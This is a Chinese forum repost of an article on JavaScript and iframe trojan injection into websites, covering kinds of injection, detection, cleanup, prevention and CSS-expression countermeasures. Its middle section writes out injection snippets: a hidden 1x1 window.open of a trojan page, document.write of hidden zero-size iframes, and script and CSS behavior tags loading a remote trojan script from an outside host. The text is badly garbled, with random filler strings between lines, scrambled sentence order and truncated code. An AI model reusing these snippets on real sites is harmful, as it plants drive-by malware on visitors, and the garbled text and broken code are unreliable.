搜索
查看: 12159|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

- v; a8 s( ]! ~6 P! q

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

1 m' k5 g% u) e. e5 b8 n

IFRAME 和 JS 脚本挂马。

B' E( w1 L* ?: o. V2 s* s0 W

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

Q5 B c9 |3 x7 L5 h" v- J

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

% U- U+ T. j r$ E4 ~4 b

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

1 z; T- n% k1 h* X7 \& u: u

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

9 _+ G) J7 h4 p" E D( v1 |2 @

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

, G: Z: q" X& l

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

7 h* Q# G6 c8 r. F. v

。一千多位会员的 ID

( c9 K# V3 t% c6 A/ ?

2: 如何检测网页是否被挂马。

0 B/ |8 U+ \" x* R8 G( g

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

$ e6 p: O* l$ }, H! ~1 ?0 | Z( o: C

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

, V& Q* v2 h8 {3 |

因素。
2 googl 检测。>

: v! F; U, v2 [( w' z

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

; }; ~6 a( @2 y6 G

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

0 z6 s8 `% J8 t4 v+ N+ N$ b

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

; b% o% h/ D! H% R6 Y2 t. o

7 E5 L. z. B8 T+ j, o, o* c6 ` E

3: 如何清除网页木马。

3 O2 W Z& u- P- a8 K

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

: t$ u! d0 O+ j' R

入源文件把相关的网页挂马种类的可疑代码删除。

/ J }+ _; o4 @. K( u7 x3 n

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

7 b" P7 t I8 u2 s* b

悉。>

, V( k5 _: `! m* m l2 G! k. I

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

) H! u/ _5 B A2 B% M2 n

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

6 g, [) W* y4 \: Z2 h- h

2 保证你所使用的顺序及时的更新。

8 n4 I( C, _2 C3 \: e

3 不要在前台网页上加注后台管理程序登陆页面的链接。

8 B+ x% f; N0 A% ?+ B

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

0 l& ?0 R, m, I

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

# \& m" D2 E) {) ]2 j3 Q

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

: ~/ ]* ]$ Y6 W6 e% t

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

. g( x2 H- y7 c* a

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

/ ~ f. h2 o* F0 ]

. J6 k: R$ p$ Z. W% u+ [2 q! \. _) ~

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

8 H ?% u3 k# c8 e7 t

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

' j, l0 E% Z0 ?6 s7 g4 R0 x

JS 挂马溯源

7 `7 {$ `5 M2 Q' Q. i

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

1 ?' R: x+ V6 Z2 z5 e4 s. |/ }/ R& ?

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

( t" U) T% t- b$ I% Z

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

! k1 K% M5 p8 z8 Y/ m- q

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

: u8 |* ?3 F$ G- V* R/ `0 t* D

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

1 k$ K2 o4 y/ `$ z h# U

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

+ V1 Q! z/ W' {9 F3 d0 o8 Y/ n

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

( N% g! u# K* d. Z

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

8 k# s) R4 ^ ~2 h* Q

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

$ z7 F1 B1 s5 x

脚本在工作中会有很大的协助。

4 a5 X. }, i0 w" D5 @1 R% B

挂马原理一点通

: z4 U- l7 ?7 l

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

0 Z" L) l: F! n2 q; `+ P

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

; H6 U" k9 k. v; t! c

无从区分木马在何处。

1 g; o# r8 ?8 F( p- E$ P

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

4 C- N; W$ c5 y @( G2 _; V

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

6 c z' S$ @0 Q9 ^& A6 z, T/ D$ h" o# ?

容易蒙混过关,导致木马久杀不绝。

( e6 T# P6 }) Y8 r3 B' D' k6 H/ e7 d

JS 挂马攻防实录

- @ _& s! Q/ i) d; m. {. u

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

9 a: ?7 N8 v+ ?. `7 l

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

) L9 E: X% {+ ]- L5 o8 T0 n

这种方法使用的关键代码如下:

, @& i* q1 W$ ~) H

"",  window.open "http://www.v404.cn/ 木马

) t# E) M5 D# Z( _% b/ N& T- R ]- Q

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

* Q+ }* X' r& M# N+ }2 w" I

: G b3 y/ b9 C

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

: g H; y. K' a- s( e3 x& U) i

但是设置为 0 后,可能会出现恶意代码不运行的情况。

& U2 l h3 Z9 U

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

* G, L7 b3 t7 o

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

) g$ L0 z( X4 J+ Z# r t4 ]

。

! m9 U6 K; U1 ?+ T0 A/ h! f

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

: l2 Y; r) t' ~$ n$ x

6 }9 T {1 I% j3 A

或者

2 X, c, J9 z% J& S* P1 G/ [, u

document.writ "<div style='display:none'>"

- A! Q$ O u2 F* m1 G

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

& h* r) y& k/ Y4 a/ p0 h) v( ^3 J

document.writ "</div>"
 

0 K3 y5 Z+ L, `

: y( p( ^/ P, }1 x+ Z& w

就成功地将木马挂到对方的网页中了

9 [! A R- T# Y) H+ K0 p# I

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

8 o: o2 ^- b! t7 g

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

) s, X! b8 c3 j, y C" o

或者:

9 s+ K! t. m$ l& T7 k: c% v

<ifram src="vbscript:[ 挂马脚本 ]">

4 j. U4 |, x8 @ b. {. H N

6 t4 a2 k6 x( H


等等 …

) I! D2 h! ^1 a9 h% _9 h

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

- I8 j) ~7 V: S6 ^4 H. F

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

; M3 D# h3 X) j9 r% ^$ e, ~# F8 X( S

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

: D/ x0 ~( s8 H* P8 y% l

;}

8 e: j$ ?% X; Z' P7 H

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

6 W+ T& ]/ d4 L' p

: \, t3 N0 X! E3 @

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

) R) U5 x9 f$ J- l

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

' q0 G( X3 t' a

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

0 ^7 T2 ?/ A. r* p

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

5 i7 w" Z3 ^0 j; t" P/ S# P* V) ?

<title> 让 JS 挂马中止的 CSS 代码 </title>

0 ?; `% W, E& p; @- Y

<styl type="text/css" id="shudoo">

/ |+ k0 o1 n+ q, ^0 o: J5 [

/*<![CDATA[*/

) W @9 c" w+ ~* B) O {; B2 v6 k

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

( c; U! l. F$ @' f

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

% ]( z2 l# v$ t) O" r

/*]]>*/

' f% U( b) c" f, j7 N" C

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表